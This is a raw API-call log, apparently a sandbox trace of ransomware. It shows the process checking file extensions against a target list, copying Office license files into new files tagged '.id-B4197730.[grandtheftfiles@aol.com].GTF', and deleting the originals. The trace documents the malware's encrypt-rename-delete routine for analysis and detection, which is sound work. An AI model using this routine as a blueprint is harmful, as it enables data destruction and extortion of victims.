	[0174.151] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".xlsx") returned 5
	[0174.151] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.151] lstrlenW (lpString=".ppt") returned 4
	[0174.151] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.151] lstrlenW (lpString=".zip") returned 4
	[0174.151] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".rar") returned 4
	[0174.151] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".bz2") returned 4
	[0174.151] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.151] lstrlenW (lpString=".7z") returned 3
	[0174.151] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.151] lstrlenW (lpString=".dbf") returned 4
	[0174.151] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString=".1cd") returned 4
	[0174.152] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString=".jpg") returned 4
	[0174.152] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString=".doc") returned 4
	[0174.152] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".docx") returned 5
	[0174.152] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.152] lstrlenW (lpString=".pdf") returned 4
	[0174.152] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".xls") returned 4
	[0174.152] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".xlsx") returned 5
	[0174.152] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.152] lstrlenW (lpString=".ppt") returned 4
	[0174.152] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString=".zip") returned 4
	[0174.152] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".rar") returned 4
	[0174.152] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".bz2") returned 4
	[0174.152] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.152] lstrlenW (lpString=".7z") returned 3
	[0174.152] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.152] lstrlenW (lpString=".dbf") returned 4
	[0174.152] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.153] lstrlenW (lpString=".1cd") returned 4
	[0174.153] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85
	[0174.153] lstrlenW (lpString=".jpg") returned 4
	[0174.153] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.153] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.153] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35
	[0174.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.153] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19957) returned 1
	[0174.154] CloseHandle (hObject=0x48c) returned 1
	[0174.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220
	[0174.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.154] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.154] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0174.155] GetLastError () returned 0x0
	[0174.155] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4df5, lpOverlapped=0x0) returned 1
	[0174.261] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0174.262] ReadFile (in: hFile=0x48c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.262] WriteFile (in: hFile=0x550, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0174.263] SetEndOfFile (hFile=0x550) returned 1
	[0174.263] CloseHandle (hObject=0x550) returned 1
	[0174.263] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.263] SetEndOfFile (hFile=0x48c) returned 1
	[0174.416] CloseHandle (hObject=0x48c) returned 1
	[0174.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.521] lstrlenW (lpString=".doc") returned 4
	[0174.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".docx") returned 5
	[0174.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.521] lstrlenW (lpString=".pdf") returned 4
	[0174.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".xls") returned 4
	[0174.521] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".xlsx") returned 5
	[0174.521] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.521] lstrlenW (lpString=".ppt") returned 4
	[0174.521] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.521] lstrlenW (lpString=".zip") returned 4
	[0174.521] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".rar") returned 4
	[0174.521] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".bz2") returned 4
	[0174.521] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.521] lstrlenW (lpString=".7z") returned 3
	[0174.521] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.521] lstrlenW (lpString=".dbf") returned 4
	[0174.521] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.522] lstrlenW (lpString=".1cd") returned 4
	[0174.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.522] lstrlenW (lpString=".jpg") returned 4
	[0174.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.522] lstrlenW (lpString=".doc") returned 4
	[0174.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString=".docx") returned 5
	[0174.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.522] lstrlenW (lpString=".pdf") returned 4
	[0174.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString=".xls") returned 4
	[0174.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString=".xlsx") returned 5
	[0174.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.522] lstrlenW (lpString=".ppt") returned 4
	[0174.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.522] lstrlenW (lpString=".zip") returned 4
	[0174.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.522] lstrlenW (lpString=".rar") returned 4
	[0174.523] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.523] lstrlenW (lpString=".bz2") returned 4
	[0174.523] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.523] lstrlenW (lpString=".7z") returned 3
	[0174.523] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.523] lstrlenW (lpString=".dbf") returned 4
	[0174.523] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.523] lstrlenW (lpString=".1cd") returned 4
	[0174.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85
	[0174.523] lstrlenW (lpString=".jpg") returned 4
	[0174.523] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.523] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.523] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29
	[0174.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.524] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11167) returned 1
	[0174.524] CloseHandle (hObject=0x45c) returned 1
	[0174.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220
	[0174.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.525] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.525] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.526] GetLastError () returned 0x0
	[0174.526] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0174.566] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0174.570] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.571] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0174.571] SetEndOfFile (hFile=0x530) returned 1
	[0174.623] CloseHandle (hObject=0x530) returned 1
	[0174.623] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.623] SetEndOfFile (hFile=0x45c) returned 1
	[0174.626] CloseHandle (hObject=0x45c) returned 1
	[0174.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1
	[0174.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString=".doc") returned 4
	[0174.628] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".docx") returned 5
	[0174.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.628] lstrlenW (lpString=".pdf") returned 4
	[0174.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".xls") returned 4
	[0174.628] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".xlsx") returned 5
	[0174.628] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.628] lstrlenW (lpString=".ppt") returned 4
	[0174.628] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString=".zip") returned 4
	[0174.628] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".rar") returned 4
	[0174.628] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".bz2") returned 4
	[0174.628] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString=".7z") returned 3
	[0174.628] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString=".dbf") returned 4
	[0174.628] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString=".1cd") returned 4
	[0174.628] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString=".jpg") returned 4
	[0174.628] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.629] lstrlenW (lpString=".doc") returned 4
	[0174.629] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".docx") returned 5
	[0174.629] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0174.629] lstrlenW (lpString=".pdf") returned 4
	[0174.629] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".xls") returned 4
	[0174.629] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".xlsx") returned 5
	[0174.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0174.629] lstrlenW (lpString=".ppt") returned 4
	[0174.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.629] lstrlenW (lpString=".zip") returned 4
	[0174.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".rar") returned 4
	[0174.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".bz2") returned 4
	[0174.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString=".7z") returned 3
	[0174.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0174.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.629] lstrlenW (lpString=".dbf") returned 4
	[0174.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.629] lstrlenW (lpString=".1cd") returned 4
	[0174.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0174.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0174.629] lstrlenW (lpString=".jpg") returned 4
	[0174.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0174.630] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0174.630] lstrlenW (lpString="MondoR_BypassTrial180-ppd.xrm-ms") returned 32
	[0174.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.630] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=26538) returned 1
	[0174.630] CloseHandle (hObject=0x45c) returned 1
	[0174.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0174.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0174.631] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.631] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0174.632] GetLastError () returned 0x0
	[0174.632] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x67aa, lpOverlapped=0x0) returned 1
	[0174.669] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0174.673] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.673] WriteFile (in: hFile=0x530, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x114, lpOverlapped=0x0) returned 1
	[0174.673] SetEndOfFile (hFile=0x530) returned 1
	[0174.687] CloseHandle (hObject=0x530) returned 1
